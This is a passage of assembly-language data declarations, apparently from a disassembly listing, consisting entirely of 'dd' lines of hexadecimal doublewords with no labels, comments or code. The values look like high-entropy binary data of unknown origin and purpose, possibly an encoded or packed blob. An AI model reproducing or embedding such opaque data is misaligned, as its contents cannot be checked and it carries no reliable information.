		dd 0C3FE5358h, 51B9813Eh, 94816F60h, 0E62F2F5Ch, 5EAFF554h
		dd 9C47C9FCh, 45971CF0h, 1314A604h, 36E8E064h, 0D88B2225h
		dd 0D680B404h, 0EB11EA1Ch, 4D6EB205h, 0A5C1F804h, 0A339A000h
		dd 0D469FA2Ah, 0A8A07110h, 984220E4h, 25B0D095h, 0AC624B6Eh
		dd 8E74B7DFh, 2E4DF32h,	2618E00Bh, 434D25h, 1CECE970h
		dd 98BC5536h, 7C0CAC23h, 40603DE4h, 0B8E9BE16h,	0ADA2D8F3h
		dd 0A9A6330h, 0A7FA2443h, 20A31E78h, 8044B7h, 732C0FDCh
		dd 340EAE90h, 0C0A61207h, 7100EAB0h, 0BF6B168h,	13644730h
		dd 380798DAh, 42340DC7h, 0E9DBED51h, 1BF43475h,	60A01EBDh
		dd 0E7D044F2h, 9020AEE8h, 0AD204Fh, 0B552775h, 92899A5Dh
		dd 985B45F6h, 1D4284C8h, 9C1079h, 0AEB43670h, 690FEC88h
		dd 1B9408Eh, 98B7325Fh,	7DDD3F4h, 0D9AD4390h, 1017EB38h
		dd 1280A891h, 3EB51E56h, 5740CD13h, 19B2F8E3h, 4830B230h
		dd 1E132450h, 3E022B7h,	7B257471h, 0CABB702Ch, 9DE87305h
		dd 0BCC8A99Fh, 0F86088BCh, 0B48F9500h, 0FB282545h, 388005F7h
		dd 49A6243Dh, 985DCEFCh, 2FAA16F8h, 18E8C1F9h, 479F8BD1h
		dd 60716438h, 4777479h,	0C312038Fh, 78E4A835h, 0D9B84525h
		dd 18ACD954h, 0E89400FBh, 6F45F020h, 897DBE90h,	1FBFB200h
		dd 0F9B76410h, 0FAD9251Ah, 9C9260DBh, 80BD0484h, 0B8E7E8B9h
		dd 0C9B2D5Bh, 0C052F387h, 840D5CA8h, 6C964326h,	1DA13818h
		dd 0B88F30DFh, 9991D271h, 5A3D6C03h, 0B88A8BD9h, 12E19C02h
		dd 30CC7EE4h, 75344ED0h, 64B32800h, 0D9F7586Bh,	352E0082h
		dd 19E75A89h, 0ED16E2FCh, 0ECA9C11Eh, 70B91ACh,	511BD1B8h
		dd 71AF34h, 7E67AE80h, 12D121B6h, 0F2228563h, 9C89C4ECh
		dd 21921802h, 2F84807Ch, 0DCAE1288h, 3E30B7E0h,	500DE19Ah
		dd 0DEF809E0h, 2480D7DDh, 9DFAE838h, 0F0E1FE00h, 0F8C91CAFh
		dd 0F0DB5BE0h, 0D84CCBC0h, 0DFD51330h, 9CBC20C4h, 7A83D280h
		dd 0F30749FBh, 65EFDB8Bh, 0B40B8AC0h, 0AFCB16F2h, 0A414EC26h
		dd 0BBA834A9h, 0FB5CCC07h, 0DC259533h, 3EEC58C0h, 0A172FE4h
		dd 14DBC8ABh, 16BB5370h, 3D3DB0Ch, 9570ABE4h, 11A98DE0h
		dd 602EE0BCh, 0C27EDCh,	10F186C6h, 2E901ED8h, 0C57C951Eh
		dd 7088FBAFh, 9F02526Fh, 4B9786BDh, 2D94F80Ah, 28D9782Dh
		dd 0A61E1091h, 799924Dh, 0F08E9830h, 195B8F32h,	49E828C0h
		dd 43ACC08h, 8D89B6BEh,	2290BCF2h, 50609F30h, 4E001B92h
		dd 73AEDE80h, 0B0914639h, 0C8084A94h, 4B20FDF4h, 503D1772h
		dd 7D68B947h, 822C6DB5h, 0AD6E4F1Ch, 0AA900455h, 188E812h
		dd 0C54689B7h, 68636A8Eh, 0AF48800h, 0EB726474h, 44C3C700h
		dd 0F89FDF25h, 0C8974563h, 98002A31h, 1FB9F34Fh, 0D2D064h
		dd 69A04B80h, 0AC81F2C5h, 0C49FD498h, 0F8EF3C44h, 0ED876C00h
		dd 3FDA0B1h, 69D17D64h,	0AD3098BCh, 440FC9B0h, 7BBF2B03h
		dd 0D045D8BAh, 120D812Fh, 0B9FB1C5Fh, 564B0024h, 0AA5314AFh
		dd 69EA6046h, 20FC47C9h, 0B5A2DCA8h, 4AD0489Fh,	6CBB889Bh
		dd 19DAE616h, 0F821B8E9h, 0B100B211h, 0F6D6EEA8h, 0AE1C7CBCh
		dd 8A94D919h, 0EC862428h, 37314C02h, 19456D8h, 0F2CFEDEh
		dd 0EDD88083h, 483FA0AEh, 0D97C2550h, 0BDC2D076h, 3DB702D0h
		dd 1D701977h, 4A54E62Eh, 7380BCDAh, 8FFD06B9h, 94CB984Bh
		dd 0FC6A4Eh, 0E5B58B20h, 7EA96F21h, 5D24E4F8h, 930F040Fh
		dd 0EE5223E8h, 0BC25AC6Fh, 3725B076h, 293F0088h, 4F87583Bh
		dd 0F7D49610h, 29D3510h, 0CFB48BAEh, 0D26F63A1h, 4D051A2h
		dd 1E1E1F8Fh, 18426B8Dh, 0A07CA73Bh, 95AE4h, 0F76806Bh
		dd 9D7ADA54h, 9C97DD75h, 8F9B1654h, 22C4EDA7h, 7EFF3B1Ch
		dd 0ED2116h, 3F4FC48Eh,	6F4F9F5h, 0E4A38038h, 0AC884329h
		dd 0EC2A02FBh, 27F0C3A2h, 711810DFh, 0F81300F5h, 0B2C96F9Bh
		dd 410010ABh, 2AACEDC2h, 9FE97ADCh, 7395D866h, 0A7217004h
		dd 768CD825h, 8ED69A8h,	8294C5C0h, 375B0066h, 76E13943h
		dd 352D08AEh, 6084E18Bh, 0DA004032h, 23BE0AD3h,	7325B2FEh
		dd 3A8CF91Dh, 0CF9EB480h, 549A723Dh, 4F0379FCh,	0E90578Eh
		dd 0B20AE852h, 97B00BCEh, 445C22EBh, 12CB0988h,	0FC2ABBE8h
		dd 287BB825h, 15FF58h, 96A3995Ah, 3F67598Fh, 0D3471C05h
		dd 50ACA89Dh, 0A6C2F82h, 64F84777h, 0BBF663ABh,	1249252Eh
		dd 0E008E0E7h, 0D0FFF677h, 64B42908h, 257770BEh, 3F0950B2h
		dd 0F6DE24h, 234508C0h,	4A449A70h, 8008B82Fh, 0EE5528A6h
		dd 813E0088h, 30054392h, 0ED4AF106h, 0B1D8FCA8h, 0DCB47C0Ch
		dd 0CEA6C78Bh, 0B80297ECh, 40B2776h, 0C5EEADD8h, 0C55CFDA0h
		dd 0A8496EFEh, 0D8375FE8h, 0EE2E2D00h, 22E677h,	9875F956h
		dd 0F1A3E63h, 457C4E25h, 62B0E474h, 8489FFEEh, 0C336F480h
		dd 0CE58D875h, 736B10DCh, 748CF44Ah, 37B724B2h,	3F0F0490h
		dd 98C5AE22h, 6BC0BC9Eh, 0E621A169h, 0EEAEC907h, 0F603D3Ch
		dd 5B269238h, 2BF0A18Ah, 0A1A0C8A7h, 7250CFD0h,	84401780h
		dd 0C9DF0238h, 9F669042h, 390CA4E0h, 0B0544F12h, 0FC046412h
		dd 0C307CBE1h, 0DD5BE091h, 5C165742h, 0B0E80253h, 323CAD0Fh
		dd 36EDE982h, 4780B0FCh, 0D2A508BCh, 9E55076Bh,	0CBED6674h
		dd 5C6B185Eh, 4774964h,	0DE00C164h, 9180178Dh, 8CA4AB4Bh
		dd 0A011F91Ah, 888D2E62h, 522A32D5h, 2BACCD64h,	63110CA3h
		dd 88C7029Bh, 5740191Fh, 0D706FC46h, 0BCEDAA21h, 4C895C81h
		dd 0F9C63116h, 69B8F8h,	0D2089A9Dh, 4B4D9860h, 5A2F6204h
		dd 6CB9E728h, 23EC2ED2h, 0C72D00B2h, 0DACDBC9Ch, 82A00102h
		dd 7627DD43h, 7F00DCECh, 67484E99h, 12D2EAB8h, 0ACE8CABAh
		dd 3EC9803Ch, 0C9AD47Fh, 4A5AAB61h, 9E000640h, 0EE6C21C1h
		dd 0B7284732h, 0CEE52800h, 0AF5A9730h, 0F42B6883h, 77001CA9h
		dd 5817FBD5h, 0AE0439C7h, 7C8B5138h, 1DDE4B4h, 0DFD1353Dh
		dd 80D9DEEDh, 0C32DCC11h, 97D3EA1Ah, 4D9D8016h,	0A9F54020h
		dd 160097F2h, 42C3EBBBh, 5BE647BEh, 840CB2DAh, 60A443ADh
		dd 0A2400C0h, 759F138h,	0AC25BC6Fh, 4CF235h, 829C508Eh
		dd 0DEE9E0AEh, 60EEDD3Ah, 91963FD8h, 5AF2FE6Ch,	0DA18B4E6h
		dd 0C4968A4Eh, 3BFB3C10h, 0DDD88F01h, 0EED1708Dh, 92F87064h
		dd 4D11D627h, 0AAD06028h, 7D00DDEEh, 0DA62D2FAh, 2752A3D7h
		dd 0FC80ABB6h, 221DD5F8h, 245E910Bh, 0DF1CC2AAh, 6E832437h
		dd 0E05105C2h, 972D89B7h, 2840341Ah, 0DB80A095h, 0B3465AB6h
		dd 0C9672540h, 0E02847F4h, 0BEED9A82h, 238F3300h, 20BA9D19h
		dd 7FF82441h, 40321012h, 97B05187h, 0C8BC8BAFh,	800BC012h
		dd 0F43FA9C7h, 48A00A2h, 783F3126h, 0B870D80Eh,	1B4B8186h
		dd 57FA8889h, 9641984Fh, 0D1C3D9D7h, 0F8353592h, 2AE8CA2Bh
		dd 4802A8A6h, 13910262h, 0A0EF778Fh, 0F504B240h, 7867B7DEh
		dd 264D5856h, 8B7B6617h, 0C012C8B8h, 9751792Ah,	0BEB6B501h
		dd 0FAFB455Eh, 79C49C2Eh, 3F9941h, 91B64758h, 4597E7E5h
		dd 81091890h, 3500380Eh, 0F8C64AA3h, 257DC979h,	0C0440C93h
		dd 0E0C06DBFh, 4387617Eh, 76045F74h, 3842C505h,	836004EAh
		dd 9DF500A7h, 4BE9676Ch
		dd 0B1AC8821h, 5C83F25h, 65BA5CC8h, 23EC2EECh, 4B2E01ACh
		dd 31D4DF33h, 0E2D0D050h, 9B6C809Dh, 951C938Fh,	0F1D13C39h
		dd 0D712D27Fh, 0CF31D8A7h, 64761BABh, 0EC9247E0h, 44065C9Ah
		dd 0E07B4C25h, 918495A5h, 0F71180A6h, 5A6902D8h, 1D00B02Fh
		dd 4A086B49h, 70E074E6h, 0DB12B025h, 6BBA1405h,	7123D8h
		dd 0D2AE97Bh, 92006A4Ah, 3618BBC7h, 0D2403F7Ah,	56F8B859h
		dd 0E28EF3ECh, 10BC7631h, 0DF431FA1h, 0DCEC54A5h, 7EE55705h
		dd 0BCEDA09Dh, 5A48EA02h, 0EC5CE396h, 5BBF706Ch, 0B8F0A276h
		dd 514107B3h, 725C9FD3h, 0A0A7A263h, 2674F1B6h,	14CBE434h
		dd 430B9200h, 4E70BD55h, 0D1C8A0AEh, 0A08C5F37h, 2044351Ch
		dd 623900EAh, 0ED642910h, 6009D83Bh, 0C89F9E01h, 581F918h
		dd 0AE7C0F98h, 0E46BBAE8h, 1000B623h, 471BF514h, 0AD4B4E6Eh
		dd 879888BCh, 50AAD9FDh, 0A6F5E95Dh, 336CB702h,	7726082Fh
		dd 47459CA1h, 0A0453E8Ah, 4416331Ch, 0C46A1CA1h, 13BB5Ch
		dd 0C2119C04h, 0B47C8709h, 4A946D4h, 0FD92997Fh, 0B7876CF0h
		dd 6984464h, 82C20B0h, 0B0F543Eh, 0F1849024h, 0C07AFB8Eh
		dd 5C6C2707h, 0AA8539D1h, 4430BA74h, 646C9DFh, 83CC95AAh
		dd 320E1036h, 0F41C2CD3h, 0D9F12D24h, 13340F38h, 0C5EAE9A0h
		dd 5100EB6Fh, 9F732957h, 4E09854h, 0A68A3D8h, 0B031BACCh
		dd 24F04C0Eh, 0C4084EA1h, 0AE489454h, 20FF7C35h, 0E45790A8h
		dd 11F12F00h, 0BCB8CCC9h, 0E1370005h, 944CCB09h, 0C8A56BFAh
		dd 59107927h, 0B59818A9h, 1BDD9442h, 6442B04Ch,	0E81497C0h
		dd 49DD643h, 0B982AF2Dh, 0B53E166Ch, 0AAC7DCE8h, 883840Dh
		dd 329C6445h, 0B7B73C44h, 0F01F03A8h, 7FE844DEh, 0E01457E4h
		dd 81FC46B6h, 3D89540Eh, 1F902A70h, 3C2C499Ah, 0B4A6503Fh
		dd 0CA8A0C44h, 0FD1206C8h, 984F777Bh, 0D4E1F209h, 9C06E2Eh
		dd 5EF4638h, 0ECBC2DB4h, 4CFC6E5Ah, 746D007Eh, 0D75350E1h
		dd 0AFA8DFA7h, 585F94C3h, 0BE1BCB6h, 8331C8D5h,	0F835A626h
		dd 93D8848h, 5D9D1826h,	40229024h, 718A2457h, 0A4050065h
		dd 0B5F6764Ch, 0C7E29150h, 17A8D40h, 2192DD4Fh,	2F4ADBB2h
		dd 0BC9C9CE0h, 0B0465E2Ch, 0EB58F703h, 4CDB9C45h, 0B90FF1BFh
		dd 50AC472Bh, 0B25FA75Ch, 0F04D5782h, 73E2F4C0h, 0B8284BECh
		dd 0E2252708h, 0EB78CD24h, 37E4760Eh, 0C580B876h, 0CC201936h
		dd 0C4E3Dh, 8548EB95h, 0D79C8B83h, 0CD019D00h, 0C9D86B30h
		dd 0FA1C2F5Fh, 46915448h, 4450D99Dh, 301D52CEh,	0B7091250h
		dd 9C68912Dh, 0E000CE51h, 0DBD1A41Bh, 0F3673DD7h, 35A0D23Bh
		dd 22D732E2h, 77B60E44h, 1513F04Eh, 0A080F654h,	16405BABh
		dd 0E8B5A638h, 2644B770h, 406AFE25h, 47F15202h,	9355AC98h
		dd 0E6740028h, 2DD5D190h, 0C9911C6h, 9E18A179h,	664F7704h
		dd 58C1B90Bh, 0AF05A54Eh, 948B8075h, 21C3AD88h,	37BA80A6h
		dd 28E75CEDh, 80742F13h, 9B580834h, 0F0EB462Dh,	0C4485E98h
		dd 0B8C0FD34h, 0E35C07D6h, 0D1818DCEh, 77B2745h, 256874FBh
		dd 0B6F9C459h, 0FC049218h, 0C7FDA671h, 0C44AC4FCh, 3C3FFF34h
		dd 7502AF23h, 0C8222F3Fh, 40C61B38h, 452D2EA1h,	8D6422EBh
		dd 0E41845C0h, 7B4D600Fh, 39A8019Eh, 0B3AA52F9h, 462870C9h
		dd 47270A75h, 795CC83Ch, 31AA4039h, 0CAC42F27h,	0F8E67574h
		dd 0CCAC44h, 4BDE2EFEh,	6689BC62h, 0A8E2BE5Fh, 973DB300h
		dd 8634D9C3h, 0F4D5380Eh, 0A0AD0E3Fh, 5B5C7F21h, 9C9C529Eh
		dd 0CEBC413h, 331195A0h, 94A0725Bh, 245E2748h, 0F840DC74h
		dd 60D19289h, 3DE390B9h, 7F4F1DF4h, 201A2C88h, 789DCB86h
		dd 727016E4h, 0D17CD0D5h, 0B1694730h, 0C2E85C69h, 40C8260Ch
		dd 57131DE4h, 0ACCCF91Ch, 699863EDh, 46924269h,	0DE9CA47Eh
		dd 90E8E7C4h, 0B900F4ADh, 0B7B6A375h, 1E98C8E5h, 0FCCE9200h
		dd 5B42ACF7h, 0AA211773h, 3E98A155h, 0F15AD8F3h, 378884ACh
		dd 4AE88FCh, 187A3F20h,	82CC3188h, 18B4A5D7h, 3166DCB4h
		dd 0A449E163h, 2472A2h,	2751E6EAh, 0F821EDAAh, 0D8B24089h
		dd 779F1B4Ch, 0E808D9D3h, 0E2EB12A3h, 61093734h, 0FC451B30h
		dd 30A2603Dh, 0FD33431h, 0CB476007h, 0FD992F18h, 72964410h
		dd 45B7C8F0h, 79EA0590h, 1078EC18h, 0BC5AAA5Bh,	0E79B2F90h
		dd 60ACE400h, 878AA2h, 0CE5D647Dh, 0AC33D4Ch, 0D1AC3A2Dh
		dd 0F84D697Ch, 26449840h, 71F800DEh, 0E80E548Ah, 321376B1h
		dd 0FC9B8DC0h, 6BFB86C0h, 25122D92h, 8CB89C93h,	0E48CA7F8h
		dd 0DFC14C84h, 0B8991616h, 82438060h, 395139A2h, 0D080FD8Eh
		dd 7B2DD862h, 0BBF80BEFh, 0B76B7809h, 42444441h, 7DF900A9h
		dd 5DAA0AFEh, 0A02B9509h, 1DCF8D6h, 0C562B32Eh,	47905F2h
		dd 12CCCFEBh, 74B88537h, 0C87CCE5Bh, 58F8C0A6h,	0C32D09ABh
		dd 25605689h, 44982066h, 0E616CC20h, 0B37D1672h, 820CE981h
		dd 467CADA4h, 0C4C512F4h, 0E4B8B2E7h, 0A7AC68E8h, 55FC008Ch
		dd 0EE3D668h, 4B09DDCBh, 73E68232h, 0D2FD70F0h,	6B90F2EEh
		dd 6607AE71h, 0A764D38Bh, 94C1AF35h, 226E6F5Bh,	7529F224h
		dd 0BB086885h, 0DA3E7029h, 490A80D0h, 0E04BCFh,	0EBDA0E3h
		dd 1F97B152h, 0DD2261C9h, 0D0C1D412h, 314862DCh, 930104Dh
		dd 0B0561002h, 9D7BB8E2h, 8310114Ch, 980EC542h,	327F9629h
		dd 0AD889055h, 8E983957h, 0A4F0F002h, 0C0586DBFh, 0A7BB9F98h
		dd 0AE20C200h, 216B5109h, 89DF0936h, 0F859114Ah, 2F576244h
		dd 1B123D4h, 37F8D2A0h,	0A8DB3AD8h, 0AC08A980h,	21005575h
		dd 0F28BAED8h, 97CD7936h, 0F9902004h, 700801F4h, 0D4FB0701h
		dd 80A3B680h, 6582AD1Bh, 52BF5001h, 9F25A02Fh, 0B830563Bh
		dd 0FC125AB4h, 5F105CADh, 24A25AC8h, 0E0333A00h, 0B745EFBAh
		dd 63169900h, 591BA75Eh, 0B4739580h, 915C15ADh,	0C1B181ACh
		dd 0CD6BAD85h, 0D0F02FC8h, 0F96C1D1Eh, 0E7C7892Bh, 80061700h
		dd 0C8C41DCBh, 0E601AC3Bh, 4005964Dh, 1B64C3B0h, 0D8A94901h
		dd 0F81C413Dh, 2D78482Dh, 1070CE62h, 0A46A0D05h, 0DAAAC112h
		dd 0E538CF90h, 20AA42AAh, 1DDDD334h, 0B0018F7Ch, 0FE70BD1Ah
		dd 307FAD8Eh, 1B9542E0h, 0A0426FF9h, 0D2AA17F1h, 0BCE74A34h
		dd 0B80D0C8h, 0DE0A3773h, 0F4F425D4h, 533304DCh, 0AB7C61F8h
		dd 0DB2FC8CDh, 0AFF380B8h, 7F9EDFEBh, 381A970Bh, 0C99C1855h
		dd 0DB672746h, 4DEB2C74h, 14F4724h, 2B7EA61Eh, 80007C6Eh
		dd 62E8D799h, 0B03B47E5h, 5C1726EFh, 0B702C710h, 0E2CE4089h
		dd 6D40985Ch, 4B4A3971h, 0F65C8C76h, 0C60DD4A0h, 0F40B38D2h
		dd 4C1D57DDh, 0B380A311h, 0F3128A97h, 0BA08F612h, 0A8074BCh
		dd 0CB7D2F5h, 3492ED01h, 815AEC88h, 4028BC30h, 0AE01E812h
		dd 6271C163h, 0B03EF817h, 7B4F1428h, 2FB880BDh,	684DD313h
		dd 0EEC3F488h, 6D1737C5h, 82CDC378h, 173CB7D7h,	0B779C0A9h
		dd 2D2554B9h, 72D8E0D8h, 446B7AAh, 0F26DF902h, 0F5FBFEC2h
		dd 0E00200Bh, 0BDA320C7h, 3DB77B16h, 0D435F092h, 70F7801Ch
		dd 0B36820CDh, 41E3C8F7h, 0A094EA09h, 641074D3h, 0C9E090D0h
		dd 0DD4A9E61h, 10C88C8Bh, 0E882C3C0h, 9FF61E76h, 117CA6EFh
		dd 6DF8057Bh, 6ABAA191h, 0FE8C7700h, 0A3CC01DFh, 9221EDC4h
		dd 0BDC2C65h, 5237FBE8h, 8B7907CCh, 0A998E26Ah,	0C35CA1FFh
		dd 0C02ED62Ah, 3E8FAE88h, 0DF98FF16h, 0F9D318E9h, 27A3A8C0h
		dd 9074D93Ah, 13D73FDCh, 0C0D09C00h, 3474A014h,	469F9E78h
		dd 8006E48Ch, 0B52D7218h
		dd 0E0FC79BAh, 0EC9470BBh, 0B846595h, 249F77FBh, 41801311h
		dd 0C0D53F34h, 0A3923318h, 0A89DFAC1h, 4A8FD154h, 0E83882E3h
		dd 5C7C4757h, 4304D098h, 0A8B38CBBh, 202A2082h,	54265518h
		dd 71E3AE25h, 533C4554h, 0B8A4A9A0h, 0ABFF05B2h, 2810BDCDh
		dd 7B4377D4h, 0E03315E2h, 7C1A0C98h, 0CB093A72h, 0F0E0EAAFh
		dd 0CEB581A5h, 0E0FB97B4h, 980D2850h, 24945F60h, 2CC8AB60h
		dd 8806E28Fh, 0BB69A192h, 41445619h, 0EC666CA4h, 78252E9Ch
		dd 80B0B7CBh, 0A5D4E6BFh, 2E88F652h, 91132C25h,	9E360F2Ch
		dd 4C4FDD7h, 99DE7232h,	0ACC0C1EAh, 28845970h, 4BC4A98h
		dd 8780ECD2h, 0DA405591h, 3A01770h, 2EDEED67h, 0D4CDC735h
		dd 0CB94ACF4h, 2FD88431h, 0C940AC12h, 14115533h, 7C3CE916h
		dd 0FCA892A4h, 803C9B92h, 0F00C0E1Ch, 68A104F6h, 0A8404F93h
		dd 6B028724h, 0D9895960h, 252F077Eh, 404A9541h,	0A9C0D62Eh
		dd 8AFB95A0h, 0E8F89A4Ch, 89048C19h, 0FB9CB3Ch,	338C31FBh
		dd 14202EA4h, 7A038F47h, 3493BD91h, 707F86F8h, 763F4A2Dh
		dd 2E6040F8h, 29020DAFh, 8F32CA11h, 4286487h, 5BE4FDA2h
		dd 1034A8FCh, 0A6047F8Ah, 0B78E90FEh, 0B5A8A05Ch, 2FC30052h
		dd 0C10B5D8Ah, 74079E0Ch, 0A544381h, 0FD49D0FAh, 484BE890h
		dd 0F0EE8EEh, 299830Bh,	7D98E709h, 96D7DC83h, 8DE9E5E8h
		dd 5A58F19Dh, 4094DB5Dh, 95FFE47Ah, 2C058917h, 206FEEh
		dd 873FE3ABh, 67C7577h,	4D853199h, 890C5223h, 0C1B79B5h
		dd 0BF507296h, 0DE70795Bh, 73450061h, 0BF663BE5h, 0B5E2FF13h
		dd 2FB02009h, 9EED5D06h, 55DA006Bh, 12827FDh, 8B539B50h
		dd 9432A1BDh, 108E5BB0h, 0FC2F11D9h, 2540517Eh,	0C7F25Ah
		dd 0B3D5F819h, 0BD835FDBh, 2C07B535h, 2F1FC3EEh, 0EF812F00h
		dd 26CBBECDh, 0A38DFA50h, 0FF52BA6Eh, 5500A764h, 0CF825986h
		dd 12B5C3E4h, 0EF5F7CB9h, 0BDFCCC2h, 9A380F5h, 0D0045985h
		dd 0EBA5836Ch, 0C78C899Ah, 154029E8h, 199D188Bh, 8F0F0C14h
		dd 34292BDCh, 0CA56BF01h, 3A98662Bh, 0BD898B79h, 0C0C8134h
		dd 5335870Ch, 5D87A102h, 0CE5649AFh, 91923EDCh,	0FF1A04F4h
		dd 0C38B6C6Bh, 60290110h, 0CA01CCE9h, 0D1E6E05Eh, 3E20AAC5h
		dd 0C63340F5h, 0CDF7C2E1h, 7167C068h, 0C717250Ah, 10EA6185h
		dd 0CA998B0Bh, 2A671005h, 0A3B3E68Fh, 727EA85h,	83E9175Bh
		dd 0AA8CFFF3h, 2DB02FB6h, 61024D73h, 8BFCE5DAh,	6F595FC1h
		dd 67A6762Fh, 0E71D329h, 0E8901808h, 959C8012h,	4F1A31CFh
		dd 5B76BE00h, 0BBC2FCE7h, 0F23505F4h, 0FB5F7528h, 0D966B383h
		dd 4805972Bh, 0D8801051h, 93FC2648h, 9D77003Fh,	5763F9BBh
		dd 0DD24B4ECh, 8B895743h, 4560CD8h, 0C0F49590h,	0C7AF00D6h
		dd 0F97410CCh, 85258936h, 0F324D571h, 24B5BE59h, 4BCD7A5Bh
		dd 61589F38h, 0D0A980E0h, 0BD305EADh, 17F4BDF8h, 828A008Fh
		dd 83377662h, 7BBF05C0h, 0C6B870BEh, 0A205AE0Eh, 5AB220F7h
		dd 0A0605099h, 0E88197CEh, 0F2692FB8h, 74AF35F6h, 3500DC47h
		dd 0E63F7C33h, 1728BCC6h, 0AFD9BD2Bh, 4752201Ah, 601844D6h
		dd 955F2B0h, 860FBADDh,	64F54112h, 89CD0018h, 0F4CAA0AAh
		dd 71069F7Ah, 0DB4C2A52h, 0F98A2570h, 0C0D292F5h, 0B867CFE9h
		dd 4C42E2A4h, 512641A0h, 14D30407h, 812984D5h, 10A255Bh
		dd 1321D1FFh, 4107746h,	99AE98BFh, 98B2AB66h, 0A0690120h
		dd 6C6D7D95h, 7A1CC267h, 6A1140DDh, 6BFB024Ah, 24E3EFFh
		dd 880FD50Ah, 0BD0B2006h, 73BF25D1h, 0EE770909h, 0C71CDA8Eh
		dd 9F5B2631h, 2D1F9E0h,	8B1690C9h, 920750F8h, 5789754Fh
		dd 436FA46Dh, 0E13B89FCh, 12763E16h, 8A75604Ch,	0B1C7CE07h
		dd 0F685E923h, 44F7595Fh, 0AAAA94DAh, 0F4B0A3A6h, 0FD02BC11h
		dd 0FE6864C8h, 8127C130h, 0DE535DC2h, 38C7ED0h,	0BD402976h
		dd 199D230Bh, 0CE83DFECh, 0B18D8920h, 70F9921h,	0F92F9AD3h
		dd 60896D7Dh, 8DCB9769h, 8B9A6109h, 89938FDAh, 0E1858A56h
		dd 0CD35FF25h, 438CE181h, 9AFC966Ch, 0CBC9A093h, 0F6B0136h
		dd 0FF64F9B7h, 2C330835h, 0BE1B9DBDh, 1925899Ah, 70AF5375h
		dd 8A0176DFh, 0C2DB3453h, 0BD2F6630h, 0B8F99030h, 23008C1Ch
		dd 9643EEF7h, 15678281h, 8FFF6A0Ch, 0E20760BCh,	5FF62C2Bh
		dd 0C70249F4h, 67E3C9F0h, 4D7DD9B7h, 0BF73E02Bh, 0D62EE7A5h
		dd 0D91C3545h, 0C596A020h, 3FE98004h, 7A830141h, 0B07077C3h
		dd 8FDFBB80h, 0E661D91Eh, 0A1082166h, 71E40321h, 6B120EE8h
		dd 66010FF3h, 1AA508BEh, 18387430h, 0CAB872BAh,	743E8DECh
		dd 613C120Dh, 71075E0Dh, 0F2F9BFD8h, 0ECC85EB6h, 0CF80C19Eh
		dd 7223BA84h, 22559D08h, 1D4D0C31h, 81328005h, 0FE1810DBh
		dd 8A0C2EFCh, 74E73EADh, 0B604E898h, 668008C9h,	9E20EF7h
		dd 12F8D995h, 564CC82Bh, 0E6FE3F43h, 2A94D1B8h,	183EE9D9h
		dd 71244195h, 1C921585h, 0DD0E6065h, 61C60D00h,	0BA41BD09h
		dd 50AC98BEh, 25D3A907h, 20D7920Fh, 0A2D7BBF6h,	68330DE1h
		dd 32A63E7h, 21708C86h,	30D6071h, 4C316195h, 5FEA0E09h
		dd 500002FAh, 0A67CECDFh, 3A3E25AEh, 66AEA9BDh,	0BF0C00EBh
		dd 0D03B6184h, 1A0FBAA2h, 0FFEC12F2h, 42C1D6D4h, 80002399h
		dd 5697FBE3h, 0EF214F4Ch, 60E183D9h, 2A458445h,	0BE5D2643h
		dd 18A550EBh, 953112FEh, 1A6C2CDh, 39A82562h, 49E21A4h
		dd 89A98529h, 8D6D003Fh, 0C3194B5h, 1486F230h, 9D90E812h
		dd 0E1023D78h, 73436134h, 0B506400Bh, 6A5B8005h, 0B80E39E1h
		dd 9E2C0193h, 831ABDC9h, 911B20FAh, 4812240h, 51678CEBh
		dd 11E2BB58h, 40218140h, 4468B901h, 0FC1495A5h,	10E510AAh
		dd 4A599277h, 5335EB05h, 29F70D01h, 0FDC2BA2Bh,	0F960F7EFh
		dd 27BB7B5h, 7F25A982h,	0CF46E8CEh, 975AB81Fh, 8647AD9Fh
		dd 2C4053A3h, 0C21B4CEAh, 6FBBE784h, 6D852460h,	500F4496h
		dd 0E6AD2EF9h, 290D1C2h, 4E983D0h, 0DB5FF475h, 0C015584Bh
		dd 7EF2BB00h, 63BF7CC4h, 5ECE2C93h, 5501DE8Eh, 8277EE03h
		dd 0D8414BCDh, 0D011CD5h, 0AED2F88h, 53055DE8h,	0EB4987B1h
		dd 2BD988EFh, 812D4E00h, 922A806Fh, 958B1FDCh, 8F1224A5h
		dd 5BC421E7h, 0D99F811Bh, 0FB5FF212h, 0B4BF7099h, 20BE264Ah
		dd 5078B77Ch, 0DE48B5Ch, 8C10318h, 0CF59A5E3h, 0F92A5819h
		dd 40CACD7h, 0F53FA171h, 0BFB68185h, 43A67FA0h,	0E27565E0h
		dd 0D5BD8908h, 89831D07h, 38E42071h, 54955D70h,	5703DE7Eh
		dd 8AE9764Ch, 446DBADCh, 0C6D497A8h, 689500DCh,	92254A69h
		dd 8D71F98Bh, 0AF4F5127h, 3603D32h, 0BB66E1FFh,	0D4100F71h
		dd 11C929C1h, 4DFD3642h, 5850C020h, 2CA49594h, 2AC20141h
		dd 21DFAE70h, 7031313h,	0E04B794h, 62DAAF12h, 0DB440DC9h
		dd 1EA6AC00h, 0D917DE4Dh, 231607B3h, 0F715D6Dh,	60D88A62h
		dd 30C8D9E1h, 2B409571h, 0B93AF761h, 0CDAC72h, 5DF18ECEh
		dd 66E3C0ADh, 77D98C25h, 0A1001037h, 0CBFA7CBh,	55122878h
		dd 18B9209Bh, 4E1800Ah,	603F9E31h, 0AA0E713h, 35B5A1C9h
		dd 0A67E4975h, 0E8F8E2C6h, 0B81C3C9Dh, 1DF1250Bh, 86A4375Dh
		dd 0C22297FAh, 0AD157D39h, 33591023h, 0B313B85h, 95DE9776h
		dd 5FAE05D6h, 0C0CE15ACh, 5070527Ch, 6498DE95h,	2AF6A1F8h
		dd 2F02F6E9h, 0EF489720h, 808A5975h, 0F8A49F87h, 0AB7F8536h
		dd 1348FB00h, 8666855h,	0C88974F2h, 99028150h, 0FF762CFBh
		dd 0DDC09EEDh, 5305AB3h
		dd 9E1166EEh, 8AC8FE14h, 0F98700A1h, 0AD7AB257h, 8B052167h
		dd 9BFACB3Eh, 22A4D487h, 41657BA4h, 0FE9A9634h,	18907B16h
		dd 0C2D7EB80h, 0BBE9FB18h, 6091EFFFh, 5EB4972Ch, 22DE2A5Ch
		dd 0EF810F06h, 4AA9D8EAh, 7B181406h, 85E39FADh,	0C577A064h
		dd 20AE05FBh, 0D3758D31h, 1882C734h, 0D083FB75h, 8B1A8343h
		dd 84A51CB5h, 0BC59EDA7h, 2B492555h, 9CACB7E9h,	0BF777A28h
		dd 0CF52A54Ah, 0F46FC01Eh, 4501DE37h, 24A34B4h,	0C3228ED4h
